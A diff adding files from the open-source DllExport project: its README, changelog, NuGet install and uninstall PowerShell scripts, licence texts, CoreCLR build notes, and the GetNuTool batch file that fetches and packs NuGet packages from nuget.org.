[![](https://raw.githubusercontent.com/3F/DllExport/master/Resources/img/DllExport.png)](#)
[![](https://raw.githubusercontent.com/3F/DllExport/master/Resources/img/DllExport_ordinals.png)](https://github.com/3F/DllExport/issues/11#issuecomment-250907940)
----
[Initially](https://github.com/3F/DllExport/issues/3) the original tool `UnmanagedExports` was distributed by Robert Giesecke as an closed-source tool **under the [MIT License](https://opensource.org/licenses/mit-license.php)**:
* [Official page](https://sites.google.com/site/robertgiesecke/Home/uploads/unmanagedexports) - *posted Jul 9, 2009 [ updated Dec 19, 2012 ]*
* [Official NuGet Packages](https://www.nuget.org/packages/UnmanagedExports)
Now, we will be more open ! all details [here](https://github.com/3F/DllExport/issues/3)
## License
It still under the [MIT License (MIT)](https://github.com/3F/DllExport/blob/master/LICENSE) - be a ~free~ and open
## &
### How it works
Current features has been implemented through [ILDasm](https://github.com/3F/coreclr/tree/master/src/ildasm) & [ILAsm](https://github.com/3F/coreclr/tree/master/src/ilasm) that does the all required steps via `.export` directive.
**What inside ? or how works the .export directive ?**
Read about format PE32/PE32+, start with grammar from asmparse and move to writer:
```cpp
...
if(PASM->m_pCurMethod->m_dwExportOrdinal == 0xFFFFFFFF)
{
PASM->m_pCurMethod->m_dwExportOrdinal = $3;
PASM->m_pCurMethod->m_szExportAlias = $6;
if(PASM->m_pCurMethod->m_wVTEntry == 0) PASM->m_pCurMethod->m_wVTEntry = 1;
if(PASM->m_pCurMethod->m_wVTSlot == 0) PASM->m_pCurMethod->m_wVTSlot = $3 + 0x8000;
}
...
EATEntry* pEATE = new EATEntry;
pEATE->dwOrdinal = pMD->m_dwExportOrdinal;
pEATE->szAlias = pMD->m_szExportAlias ? pMD->m_szExportAlias : pMD->m_szName;
pEATE->dwStubRVA = EmitExportStub(pGlobalLabel->m_GlobalOffset+dwDelta);
m_EATList.PUSH(pEATE);
...
// logic of definition of records into EXPORT_DIRECTORY (see details from PE format)
HRESULT Assembler::CreateExportDirectory()
{
...
IMAGE_EXPORT_DIRECTORY exportDirIDD;
DWORD exportDirDataSize;
BYTE *exportDirData;
EATEntry *pEATE;
unsigned i, L, ordBase = 0xFFFFFFFF, Ldllname;
...
~ now we're ready to miracles ~
```
or read my short explanations from here: [DllMain & the export-table](https://github.com/3F/DllExport/issues/5#issuecomment-240697109); [DllExport.dll](https://github.com/3F/DllExport/issues/28#issuecomment-281957212); [.exp & .lib](https://github.com/3F/DllExport/issues/9#issuecomment-246189220); [ordinals](https://github.com/3F/DllExport/issues/8#issuecomment-245228065) ...
### How to get DllExport
Available variants:
* NuGet PM: `Install-Package DllExport`
* [GetNuTool](https://github.com/3F/GetNuTool): `msbuild gnt.core /p:ngpackages="DllExport"` or [gnt](https://github.com/3F/GetNuTool/releases/download/v1.5/gnt.bat) /p:ngpackages="DllExport"
* NuGet Commandline: `nuget install DllExport`
* [/releases](https://github.com/3F/DllExport/releases) ( [latest](https://github.com/3F/DllExport/releases/latest) )
* [Nightly builds](https://ci.appveyor.com/project/3Fs/dllexport/history) (`/artifacts` page). But remember: It can be unstable or not work at all. Use this for tests of latest changes.
### How to Build
No requires additional steps for you, just build as you need.
Use build.bat if you need final NuGet package as a `DllExport.<version>.nupkg` etc.
* *You do not need to do anything inside IDE if you have installed [this plugin](https://visualstudiogallery.msdn.microsoft.com/0d1dbfd7-ed8a-40af-ae39-281bfeca2334/).*
### How to Debug
For example, find the DllExport.MSBuild project in solution:
* `Properties` > `Debug`:
* `Start Action`: set as `Start External program`
* Add full path to **msbuild.exe**, for example: C:\Program Files (x86)\MSBuild\14.0\Bin\MSBuild.exe
* `Start Options` > `Command line arguments` write for example:
```bash
"<path_to_SolutionFile_for_debugging>.sln" /t:Build /p:Configuration=<Configuration>
```
use additional `Diagnostic` key to msbuild if you need details from .targets
```bash
"<path_to_SolutionFile_for_debugging>.sln" /verbosity:Diagnostic /t:Rebuild /p:Configuration=<Configuration>
```
Go to `Start Debugging`. Now you can debug at runtime.
### coreclr - ILAsm / ILDasm
We use **our custom versions of coreclr**, special for DllExport project - https://github.com/3F/coreclr
This helps to avoid some problems ([like this](https://github.com/3F/DllExport/issues/17)) and more...
*To build minimal version (means that it does not include all components as for original coreclr repo):*
* Restore git submodule or use repo: https://github.com/3F/coreclr.git
```bash
git submodule update --init --recursive
```
*Make sure that you have installed [CMake](https://cmake.org/download/), then build simply:*
```bash
build_s all x86 x64 Release
build_s x86 Release
```
or use
```bash
build_coreclr_x86.cmd
build_coreclr_x86_x64.cmd
```
*You can also use our binaries of coreclr separately if needed:*
* [![NuGet package](https://img.shields.io/nuget/v/ILAsm.svg)](https://www.nuget.org/packages/ILAsm/)
* Look also [here](https://github.com/3F/coreclr/issues/1)
-------------
**Support ?**
[just a note again...](https://plus.google.com/101239554716569212042/posts/6yP64gDyum1)
*I mentioned earlier that DllExport is not priority for me (current impl.) "- I will do something from current tasks, but guys, please support it with me" and... why so many support from me o_o*
@@ -0,0 +1,80 @@
DllExport - github.com/3F/DllExport
- - - - - - - - - - - - - - - - - -
[v1.5.2] 2017.03.13
* FIXED: Failing to compile in VS2017. Issue #29
`Error The "DllExportAppDomainIsolatedTask" task failed unexpectedly. System.ArgumentException: Requested value 'Version46' was not found.`
* FIXED: Possible error `Could not load file or assembly Microsoft.Build.Utilities or one of its dependencies.`
* CHANGED: Updated script for loading of the Configurator to avoid problem with old assemblies. Issue #22
[v1.5.1] 2016.11.12
* FIXED: Error : Invalid Option: /CVRES= Issue #20
* NOTE: Our coreclr version was compiled with MSVC 14.0. Related Issue #21
[v1.5] 2016.11.04
* FIXED: Fixed problem with white-space chars in path: `Cannot find path '<any full path with spaces>' because it does not exist ...`
* FIXED: Fixed typo with fullseq (ddNS) - incorrect `0x30 0x30` ~0x007A7-0x007A8 /details in #14
* FIXED: Possible problem with NullReferenceException when removing package.
* FIXED: Fixed problem with old NS data when we try to install package for project A, then for project B
* NEW: Implemented 'Generate .exp + .lib via MS Library Manager' #9
GUI Configurator + MSBuild property: `DllExportGenExpLib`
* NEW: Added support of unmanaged-export for Executable Modules (.exe) #18
* NEW: Cecil variant for ddNS features /#14, #2
* NEW: Added our custom IL Assembler as option to fix incorrect 0x13 / 0x11 opcodes. #17
GUI Configurator + MSBuild property: `DllExportOurILAsm`
It should help for users of Fody projects, etc.
https://github.com/Fody/Fody/issues/271
IlAsm 4.5.1 https://github.com/3F/coreclr
based on 4.5.22220.0 / coreclr 1.0.4
changelog of our coreclr for this release: https://github.com/3F/coreclr/blob/master/changelog.txt
* CHANGED: Updated scripts of installing/removing package for more correct loading of our assemblies.
[v1.4] 2016.10.05
* FIXED: Fixed bug - `An item with the same key has already been added`. Issue #10
* FIXED: Bug with Meta library: Incorrect default values. Issue #16
please note, the __cdecl is the default calling convention for our library
as and for C and C++ programs.
* FIXED?: Probably fixed bug - `Script errors on package install` Issue #6
* FIXED?: Probably fixed bug - `non-English system language - syntax error` Issue #7
* NEW: GUI Configurator with updated ddNS features.
* NEW: Implemented feature 'Export for platform': [ x86 / x64 / x86 + x64 ] Issue #9
* NEW: Implemented feature 'Base for ordinals'. Issue #11
There is also alternative to configure this number - MSBuild property: DllExportOrdinalsBase
* NEW: The one (1) now is used by default as Base for all ordinals.
`Mimic ordinal counter (start from 1 instead of 0)` Issue #8
* CHANGED: The ddNS features now as binary cmdlet `NSBin`. Use `nsbin.bat` if needed.
* CHANGED: `Set "Inherited = false" in AttributeUsage for DllExportAttribute`. Issue #15
* OTHER: other possible changes and fixes.
[v1.3] 2016.08.21
* FIXED: bug 'Incorrect library' when DllExport installed for 2+ projects.
* CHANGED: DllExport now uses `Cdecl` calling convention by default.
* CHANGED: Mono.Cecil v0.9.6.4
[v1.2] 2016.07.13
* CHANGED: dynamic definition of namespace for user scope. Issue #2
[v1.1] 2016.06.29
* CHANGED: DllExport now is part of System.Runtime.InteropServices as and DllImport.
* CHANGED: Mono.Cecil v0.9.6.1
* NEW: 0x80070005 meaning... Issue #1
* NEW: +DllExport(CallingConvention convention) signature
[v1.0] 2016.06.25
* Initial the open release, based on v1.2.7.38850
@@ -0,0 +1,141 @@
function Remove-OldDllExportFolder {
param($project)
$defaultFiles = ('DllExportAttribute.cs',
'Mono.Cecil.dll',
'RGiesecke.DllExport.dll',
'RGiesecke.DllExport.pdb',
'RGiesecke.DllExport.MSBuild.dll',
'RGiesecke.DllExport.MSBuild.pdb',
'net.r_eg.DllExport.targets')
$projectFile = New-Object 'System.IO.FileInfo'($project.FullName)
$projectFile.Directory.GetDirectories("DllExport") | Select-Object -First 1 | % {
$dllExportDir = $_
if($dllExportDir.GetDirectories().Count -eq 0){
$unknownFiles = $dllExportDir.GetFiles() | Select -ExpandProperty Name | ? { -not $defaultFiles -contains $_ }
if(-not $unknownFiles){
Write-Host "Removing 'DllExport' from " $project.Name
$project.ProjectItems | ? { $_.Name -ieq 'DllExport' } | % {
$_.Remove()
}
Write-Host "Deleting " $dllExportDir.FullName " ..."
$dllExportDir.Delete($true)
}
}
}
}
function Remove-OldDllExportFolders {
Get-Project -all | % {
Remove-OldDllExportFolder $_
}
}
function Get-MBEGlobalProjectCollection {
$msBuildV4Name = 'Microsoft.Build, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a';
$msBuildV4 = [System.Reflection.Assembly]::LoadWithPartialName($msBuildV4Name)
if(!$msBuildV4) {
throw New-Object 'System.IO.FileNotFoundException'("Could not load $msBuildV4Name.")
}
$projectCollection = $msBuildV4.GetType('Microsoft.Build.Evaluation.ProjectCollection')
return $projectCollection::GlobalProjectCollection
}
function Get-DllExportMsBuildProjectsByFullName([String] $fullName) {
$gpc = Get-MBEGlobalProjectCollection
return $gpc.GetLoadedProjects($fullName)
}
function Get-TempPathToDllTools([String] $toolsPath) {
$tempRoot = (Join-Path $([System.IO.Path]::GetTempPath()) '50ACAD2A-5AB3-4E6A-BA66-07F55672E91F') -replace ' ', '` '
$tempFolder = $([System.Guid]::NewGuid());
$delprefix = '__del__';
# rename for checking of lock / loaded assemblies
Get-ChildItem -Recurse -Path $tempRoot | ?{ $_.PSIsContainer } | %{
Rename-Item -ErrorAction SilentlyContinue -Path $_.FullName -NewName "$delprefix$($_.Name)"
}
# now try to delete only this
Get-ChildItem -Recurse -Path $tempRoot | ?{ $_.PSIsContainer -and $_.Name.StartsWith($delprefix) } | %{
Remove-Item $_.FullName -Force -Recurse -ErrorAction SilentlyContinue
}
$tdll = (Join-Path $tempRoot $tempFolder);
if(!(Test-Path -path $tdll)) {
New-Item $tdll -Type Directory >$null
}
Copy-Item $toolsPath\*.dll -Destination $tdll >$null
return $tdll
}
function Get-TempPathToConfiguratorIfNotLoaded([String] $asmFile, [String] $toolsPath) {
$tdll = Get-TempPathToDllTools $toolsPath
$mdll = (Join-Path $tdll $asmFile)
if(!(Get-Module -Name $asmFile)) {
# Import-Module $mdll;
return $mdll
}
return $null
}
# solution from here: https://github.com/3F/vsSolutionBuildEvent/blob/master/vsSolutionBuildEvent/Actions/ActionCSharp.cs
# we can use it from 'init.ps1' for loading only once, or from 'install.ps1' / 'uninstall.ps1' to use always latest assemblies
function Load-Configurator([String] $toolsPath) {
Get-Module -All | ?{ $_.Name -like '*net.r_eg.DllExport.Configurator*' } | % { Remove-Module $_ }
$nsbin = [System.Reflection.Assembly]::Load([System.IO.File]::ReadAllBytes("$toolsPath\NSBin.dll"));
$conf = [System.Reflection.Assembly]::Load([System.IO.File]::ReadAllBytes("$toolsPath\net.r_eg.DllExport.Configurator.dll"));
return $conf;
}
function Get-AllDllExportMsBuildProjects {
(Get-Project -all | % {
Get-DllExportMsBuildProjectsByFullName $_.FullName
}) | ? {
return ($_.Xml.Imports | ? {
"net.r_eg.DllExport.targets" -ieq [System.IO.Path]::GetFileName($_.Project);
}).Length -gt 0;
}
}
function Set-NoDllExportsForAnyCpu([String] $projectName, [System.Nullable[bool]] $value) {
$projects = Get-AllDllExportMsBuildProjects;
[String] $asString = $value;
if($projectName) {
$projects = $projects | where { $_.Name -ieq $projectName };
}
$propertyName = 'NoDllExportsForAnyCpu';
$projects = $projects | where {
$_.GetPropertyValue($propertyName) -ine $asString
} | % {
$_.SetProperty($propertyName, $asString);
}
}
Export-ModuleMember Set-NoDllExportsForAnyCpu
Export-ModuleMember Get-MBEGlobalProjectCollection
Export-ModuleMember Get-TempPathToDllTools
Export-ModuleMember Get-TempPathToConfiguratorIfNotLoaded
Export-ModuleMember Load-Configurator
Export-ModuleMember Remove-OldDllExportFolder
Export-ModuleMember Remove-OldDllExportFolders
Export-ModuleMember Get-DllExportMsBuildProjectsByFullName
Export-ModuleMember Get-AllDllExportMsBuildProjects
@@ -0,0 +1,21 @@
The MIT License (MIT)
Copyright (c) .NET Foundation and Contributors
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
@@ -0,0 +1,47 @@
Microsoft Patent Promise for .NET Libraries and Runtime Components
Microsoft Corporation and its affiliates ("Microsoft") promise not to assert
any .NET Patents against you for making, using, selling, offering for sale,
importing, or distributing Covered Code, as part of either a .NET Runtime or
as part of any application designed to run on a .NET Runtime.
If you file, maintain, or voluntarily participate in any claim in a lawsuit
alleging direct or contributory patent infringement by any Covered Code, or
inducement of patent infringement by any Covered Code, then your rights under
this promise will automatically terminate.
This promise is not an assurance that (i) any .NET Patents are valid or
enforceable, or (ii) Covered Code does not infringe patents or other
intellectual property rights of any third party. No rights except those
expressly stated in this promise are granted, waived, or received by
Microsoft, whether by implication, exhaustion, estoppel, or otherwise.
This is a personal promise directly from Microsoft to you, and you agree as a
condition of benefiting from it that no Microsoft rights are received from
suppliers, distributors, or otherwise from any other person in connection with
this promise.
Definitions:
"Covered Code" means those Microsoft .NET libraries and runtime components as
made available by Microsoft at https://github.com/dotnet/coreclr,
https://github.com/dotnet/corefx and https://github.com/dotnet/corert.
".NET Patents" are those patent claims, both currently owned by Microsoft and
acquired in the future, that are necessarily infringed by Covered Code. .NET
Patents do not include any patent claims that are infringed by any Enabling
Technology, that are infringed only as a consequence of modification of
Covered Code, or that are infringed only by the combination of Covered Code
with third party code.
".NET Runtime" means any compliant implementation in software of (a) all of
the required parts of the mandatory provisions of Standard ECMA-335 Common
Language Infrastructure (CLI); and (b) if implemented, any additional
functionality in Microsoft's .NET Framework, as described in Microsoft's API
documentation on its MSDN website. For example, .NET Runtimes include
Microsoft's .NET Framework and those portions of the Mono Project compliant
with (a) and (b).
"Enabling Technology" means underlying or enabling technology that may be
used, combined, or distributed in connection with Microsoft's .NET Framework
or other .NET Runtimes, such as hardware, operating systems, and applications
that run on .NET Framework or other .NET Runtimes.
@@ -0,0 +1,18 @@
[.NET Core Runtime (CoreCLR)](https://github.com/3F/coreclr)
===========================
This repo contains the .NET Core runtime, called CoreCLR, and the base library, called mscorlib. It includes the garbage collector, JIT compiler, base .NET data types and many low-level classes.
Build Status
------------
| CI
--------------------| ----------------
Win.x86-x64.Release | [![Build status](https://ci.appveyor.com/api/projects/status/4gwh8k5wn62tk8iv/branch/master?svg=true)](https://ci.appveyor.com/project/3Fs/coreclr/branch/master)
License
-------
.NET Core (including the coreclr repo) is licensed under the [MIT license](LICENSE.TXT).
@@ -0,0 +1,10 @@
Architecture | Platform | Config | commit-sha1 | ILD/Asm | coreclr | Path
-------------|----------|---------|------------------------------------------|---------------------------|---------|-------------
x86 | Windows | Release | 05afa4f81fdf671429b54467c64d65cde6b5fadc | [ 4.5.1 ] -> *4.5.22220.0 | *v1.0.4 | \bin\Win.x86\
x64 | Windows | Release | 05afa4f81fdf671429b54467c64d65cde6b5fadc | [ 4.5.1 ] -> *4.5.22220.0 | *v1.0.4 | \bin\Win.x64\
`* - The base of version, i.e. it can be different from official release`
https://github.com/3F/coreclr
@@ -0,0 +1,26 @@
https://github.com/3F/coreclr
- - - - - - - - - - - - - - - -
# coreclr \ ILAsm
[v4.5.1]
* FIXED: Fixed using of cvtres (.res -> obj COFF-format) in mscorpe.
Possible crash: https://github.com/3F/coreclr/issues/2
Related Issue: https://github.com/3F/DllExport/issues/17
* NEW: Implemented additional searching of the converters of resources:
Environment PATH, local directory, and other additional from user path.
Now it also can be wrapped like ` mytool.cmd -> cvtres.exe %* ` etc.
* NEW: Added new /CVRES (/CVR) key to ilasm.exe
`/CVRES=<path_to_file> Set path to cvtres tool: /CVR=cvtres.exe /CVR=tool\cvtres.cmd /CVR=D:\tool\`
* NOTE: based on 4.5.22220.0 / coreclr 1.0.4
^ ^ ^ ^
| | | |-- VER_FILEVERSIONREVISION
| | |------- VER_FILEVERSIONBUILD
| |---------- VER_FILEVERSIONMINOR
|------------ VER_MAJORVERSION
@@ -0,0 +1,59 @@
@echo off
:: GetNuTool - Executable version
:: Copyright (c) 2015-2016 Denis Kuzmin [ entry.reg@gmail.com ]
:: https://github.com/3F/GetNuTool
set gntcore=gnt.core
set tgnt="%temp%\%random%%random%%gntcore%"
set args=%*
set a=%args:~0,30%
set a=%a:"=%
if "%a:~0,7%"=="-unpack" goto unpack
if "%a:~0,8%"=="-msbuild" goto ufound
for %%v in (14.0, 12.0, 15.0, 4.0, 3.5, 2.0) do (
for /F "usebackq tokens=2* skip=2" %%a in (
`reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSBuild\ToolsVersions\%%v" /v MSBuildToolsPath 2^> nul`
) do if exist %%b (
set msbuild="%%b\msbuild.exe"
goto found
)
)
echo MSBuild was not found, try: gnt -msbuild "fullpath" args 1>&2
goto exit
:ufound
call :popa %1
shift
set msbuild=%1
call :popa %1
:found
call :core
%msbuild% %tgnt% /nologo /p:wpath="%~dp0/" /v:m %args%
del /Q/F %tgnt%
goto exit
:popa
call set args=%%args:%1^=%%
exit /B 0
:unpack
set tgnt=%~dp0\%gntcore%
echo Generate minified version in %tgnt% ...
:core
<nul set /P ="">%tgnt%
<nul set /P =^<!-- GetNuTool - github.com/3F/GetNuTool --^>^<!-- Copyright (c) 2015-2016 Denis Kuzmin [ entry.reg@gmail.com ] --^>^<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"^>^<PropertyGroup^>^<ngconfig Condition="'$(ngconfig)' == ''"^>packages.config^</ngconfig^>^<ngserver Condition="'$(ngserver)' == ''"^>https://www.nuget.org/api/v2/package/^</ngserver^>^<ngpackages Condition="'$(ngpackages)' == ''"^>^</ngpackages^>^<ngpath Condition="'$(ngpath)' == ''"^>packages^</ngpath^>^</PropertyGroup^>^<Target Name="get" BeforeTargets="Build" DependsOnTargets="header"^>^<PrepareList config="$(ngconfig)" plist="$(ngpackages)" wpath="$(wpath)"^>^<Output PropertyName="plist" TaskParameter="Result"/^>^</PrepareList^>^<NGDownload plist="$(plist)" url="$(ngserver)" wpath="$(wpath)" defpath="$(ngpath)" debug="$(debug)"/^>^</Target^>^<Target Name="pack" DependsOnTargets="header"^>^<NGPack dir="$(ngin)" dout="$(ngout)" wpath="$(wpath)" vtool="$(GetNuTool)" debug="$(debug)"/^>^</Target^>^<PropertyGroup^>^<TaskCoreDllPath Condition="Exists('$(MSBuildToolsPath)\Microsoft.Build.Tasks.v$(MSBuildToolsVersion).dll')"^>$(MSBuildToolsPath)\Microsoft.Build.Tasks.v$(MSBuildToolsVersion).dll^</TaskCoreDllPath^>^<TaskCoreDllPath Condition="'$(TaskCoreDllPath)' == '' and Exists('$(MSBuildToolsPath)\Microsoft.Build.Tasks.Core.dll')"^>$(MSBuildToolsPath)\Microsoft.Build.Tasks.Core.dll^</TaskCoreDllPath^>^</PropertyGroup^>^<UsingTask TaskName="PrepareList" TaskFactory="CodeTaskFactory" AssemblyFile="$(TaskCoreDllPath)"^>^<ParameterGroup^>^<config Parame>> %tgnt%
<nul set /P =terType="System.String" Required="true"/^>^<plist ParameterType="System.String"/^>^<wpath ParameterType="System.String"/^>^<Result ParameterType="System.String" Output="true"/^>^</ParameterGroup^>^<Task^>^<Reference Include="System.Xml"/^>^<Reference Include="System.Xml.Linq"/^>^<Using Namespace="System"/^>^<Using Namespace="System.Collections.Generic"/^>^<Using Namespace="System.IO"/^>^<Using Namespace="System.Xml.Linq"/^>^<Code Type="Fragment" Language="cs"^>^<![CDATA[if(!String.IsNullOrEmpty(plist)){Result=plist;return true;}var _err=Console.Error;Action^<string,Queue^<string^>^> h=delegate(string cfg,Queue^<string^> list){foreach(var pkg in XDocument.Load(cfg).Descendants("package")){var id=pkg.Attribute("id");var version=pkg.Attribute("version");var output=pkg.Attribute("output");if(id==null){_err.WriteLine("Some 'id' does not exist in '{0}'",cfg);return;}var link=id.Value;if(version!=null){link+="/"+version.Value;}if(output!=null){list.Enqueue(link+":"+output.Value);continue;}list.Enqueue(link);}};var ret=new Queue^<string^>();foreach(var cfg in config.Split('^|',';')){var lcfg=Path.Combine(wpath,cfg??"");if(File.Exists(lcfg)){h(lcfg,ret);}else{_err.WriteLine(".config '{0}' was not found.",lcfg);}}if(ret.Count ^< 1){_err.WriteLine("List of packages is empty. Use .config or /p:ngpackages=\"...\"\n");}else{Result=String.Join(";",ret.ToArray());}]]^>^</Code^>^</Task^>^</UsingTask^>^<UsingTask TaskName="NGDownload" TaskFactory="CodeTaskFactory" AssemblyFile="$(TaskCoreDllPath)"^>^<ParameterGroup^>^<plist ParameterType="System.String"/^>^<url Paramet>> %tgnt%
<nul set /P =erType="System.String" Required="true"/^>^<wpath ParameterType="System.String"/^>^<defpath ParameterType="System.String"/^>^<debug ParameterType="System.Boolean"/^>^</ParameterGroup^>^<Task^>^<Reference Include="WindowsBase"/^>^<Using Namespace="System"/^>^<Using Namespace="System.IO"/^>^<Using Namespace="System.IO.Packaging"/^>^<Using Namespace="System.Net"/^>^<Code Type="Fragment" Language="cs"^>^<![CDATA[if(plist==null){return false;}var ignore=new string[]{"/_rels/","/package/","/[Content_Types].xml"};Action^<string,object^> dbg=delegate(string s,object p){if(debug){Console.WriteLine(s,p);}};Func^<string,string^> loc=delegate(string p){return Path.Combine(wpath,p??"");};Action^<string,string,string^> get=delegate(string link,string name,string path){var output=Path.GetFullPath(loc(path??name));if(Directory.Exists(output)){Console.WriteLine("`{0}` is already exists. /pass `{1}`",name,output);return;}Console.Write("Getting `{0}` ... ",link);var temp=Path.Combine(Path.GetTempPath(),name);using(var l=new WebClient()){try{l.Headers.Add("User-Agent","GetNuTool");l.UseDefaultCredentials=true;l.DownloadFile(url+link,temp);}catch(Exception ex){Console.Error.WriteLine(ex.Message);return;}}Console.WriteLine("Extracting into `{0}`",output);using(var package=ZipPackage.Open(temp,FileMode.Open,FileAccess.Read)){foreach(var part in package.GetParts()){var uri=Uri.UnescapeDataString(part.Uri.OriginalString);if(ignore.Any(x=^> uri.StartsWith(x,StringComparison.Ordinal))){continue;}var dest=Path.Combine(output,uri.TrimStart('/'));dbg("- `{0}`",uri);var dir=Path.Get>> %tgnt%
<nul set /P =DirectoryName(dest);if(!Directory.Exists(dir)){Directory.CreateDirectory(dir);}using(var source=part.GetStream(FileMode.Open,FileAccess.Read))using(var target=File.OpenWrite(dest)){source.CopyTo(target);}}}dbg("Done.{0}",Environment.NewLine);};foreach(var package in plist.Split(';')){var ident=package.Split(':');var link=ident[0];var path=(ident.Length ^> 1)?ident[1]: null;var name=link.Replace('/','.');if(!String.IsNullOrEmpty(defpath)){path=Path.Combine(defpath,path??name);}get(link,name,path);}]]^>^</Code^>^</Task^>^</UsingTask^>^<UsingTask TaskName="NGPack" TaskFactory="CodeTaskFactory" AssemblyFile="$(TaskCoreDllPath)"^>^<ParameterGroup^>^<dir ParameterType="System.String" Required="true"/^>^<dout ParameterType="System.String"/^>^<wpath ParameterType="System.String"/^>^<vtool ParameterType="System.String" Required="true"/^>^<debug ParameterType="System.Boolean"/^>^</ParameterGroup^>^<Task^>^<Reference Include="System.Xml"/^>^<Reference Include="System.Xml.Linq"/^>^<Reference Include="WindowsBase"/^>^<Using Namespace="System"/^>^<Using Namespace="System.Collections.Generic"/^>^<Using Namespace="System.IO"/^>^<Using Namespace="System.Linq"/^>^<Using Namespace="System.IO.Packaging"/^>^<Using Namespace="System.Xml.Linq"/^>^<Using Namespace="System.Text.RegularExpressions"/^>^<Code Type="Fragment" Language="cs"^>^<![CDATA[var EXT_NUSPEC=".nuspec";var EXT_NUPKG=".nupkg";var TAG_META="metadata";var DEF_CONTENT_TYPE="application/octet";var MANIFEST_URL="http://schemas.microsoft.com/packaging/2010/07/manifest";var ID="id";var VER="version";Action^<string,>> %tgnt%
<nul set /P =object^> dbg=delegate(string s,object p){if(debug){Console.WriteLine(s,p);}};var _err=Console.Error;dir=Path.Combine(wpath,dir);if(!Directory.Exists(dir)){_err.WriteLine("`{0}` was not found.",dir);return false;}dout=Path.Combine(wpath,dout??"");var nuspec=Directory.GetFiles(dir,"*"+EXT_NUSPEC,SearchOption.TopDirectoryOnly).FirstOrDefault();if(nuspec==null){_err.WriteLine("{0} was not found in `{1}`",EXT_NUSPEC,dir);return false;}Console.WriteLine("Found {0}: `{1}`",EXT_NUSPEC,nuspec);var root=XDocument.Load(nuspec).Root.Elements().FirstOrDefault(x=^> x.Name.LocalName==TAG_META);if(root==null){_err.WriteLine("{0} does not contain {1}.",nuspec,TAG_META);return false;}var metadata=new Dictionary^<string,string^>();foreach(var tag in root.Elements()){metadata[tag.Name.LocalName.ToLower()]=tag.Value;}if(metadata[ID].Length ^> 100 ^|^|!Regex.IsMatch(metadata[ID],@"^\w+([_.-]\w+)*$",RegexOptions.IgnoreCase ^| RegexOptions.ExplicitCapture)){_err.WriteLine("The format of `{0}` is not correct.",ID);return false;}new Version(metadata[VER]);var ignore=new string[]{Path.Combine(dir,"_rels"),Path.Combine(dir,"package"),Path.Combine(dir,"[Content_Types].xml")};var pout=String.Format("{0}.{1}{2}",metadata[ID],metadata[VER],EXT_NUPKG);if(!String.IsNullOrWhiteSpace(dout)){if(!Directory.Exists(dout)){Directory.CreateDirectory(dout);}pout=Path.Combine(dout,pout);}Console.WriteLine("Started packing `{0}` ...",pout);using(var package=Package.Open(pout,FileMode.Create)){var manifestUri=new Uri(String.Format("/{0}{1}",metadata[ID],EXT_NUSPEC),UriKind.Relative);package.Creat>> %tgnt%
<nul set /P =eRelationship(manifestUri,TargetMode.Internal,MANIFEST_URL);foreach(var file in Directory.GetFiles(dir,"*.*",SearchOption.AllDirectories)){if(ignore.Any(x=^> file.StartsWith(x,StringComparison.Ordinal))){continue;}string pUri;if(file.StartsWith(dir,StringComparison.OrdinalIgnoreCase)){pUri=file.Substring(dir.Length).TrimStart(Path.DirectorySeparatorChar);}else{pUri=file;}dbg("- `{0}`",pUri);var escaped=String.Join("/",pUri.Split('\\','/').Select(p=^> Uri.EscapeDataString(p)));var uri=PackUriHelper.CreatePartUri(new Uri(escaped,UriKind.Relative));var part=package.CreatePart(uri,DEF_CONTENT_TYPE,CompressionOption.Maximum);using(var tstream=part.GetStream())using(var fs=new FileStream(file,FileMode.Open,FileAccess.Read)){fs.CopyTo(tstream);}}Func^<string,string^> getmeta=delegate(string key){return(metadata.ContainsKey(key))?metadata[key]:"";};var _p=package.PackageProperties;_p.Creator=getmeta("authors");_p.Description=getmeta("description");_p.Identifier=metadata[ID];_p.Version=metadata[VER];_p.Keywords=getmeta("tags");_p.Title=getmeta("title");_p.LastModifiedBy="GetNuTool v"+vtool;}]]^>^</Code^>^</Task^>^</UsingTask^>^<Target Name="Build" DependsOnTargets="get"/^>^<PropertyGroup^>^<GetNuTool^>1.6^</GetNuTool^>^<wpath Condition="'$(wpath)' == ''"^>$(MSBuildProjectDirectory)^</wpath^>^</PropertyGroup^>^<Target Name="header"^>^<Message Text="%%0D%%0AGetNuTool v$(GetNuTool) - github.com/3F%%0D%%0A=========%%0D%%0A" Importance="high"/^>^</Target^>^</Project^>>> %tgnt%
:exit
exit /B 0
@@ -0,0 +1,8 @@
param($installPath, $toolsPath, $package, $project)
# init.ps1 - once for serial install/remove
Import-Module (Join-Path $toolsPath DllExportCmdLets.psm1)
# TODO: required for 'Load-Configurator'
$cecil = [System.Reflection.Assembly]::Load([System.IO.File]::ReadAllBytes("$toolsPath\Mono.Cecil.dll"));
@@ -0,0 +1,59 @@
param($installPath, $toolsPath, $package, $project)
$targetFileName = 'net.r_eg.DllExport.targets'
$assemblyFName = 'DllExport' # $package.AssemblyReferences[0].Name
$publicKeyToken = '8337224C9AD9E356';
$metaLib = $([System.IO.Path]::Combine("$installPath", 'lib\net20', $assemblyFName + '.dll'));
$targetFileName = [IO.Path]::Combine($toolsPath, $targetFileName)
$targetUri = New-Object Uri -ArgumentList $targetFileName, [UriKind]::Absolute
$gpc = Get-MBEGlobalProjectCollection
$projects = $gpc.GetLoadedProjects($project.FullName)
# GUI Configurator
# powershell -Command "Import-Module (Join-Path $escToolsPath Configurator.dll); Set-Configuration -Dll $asmpath"
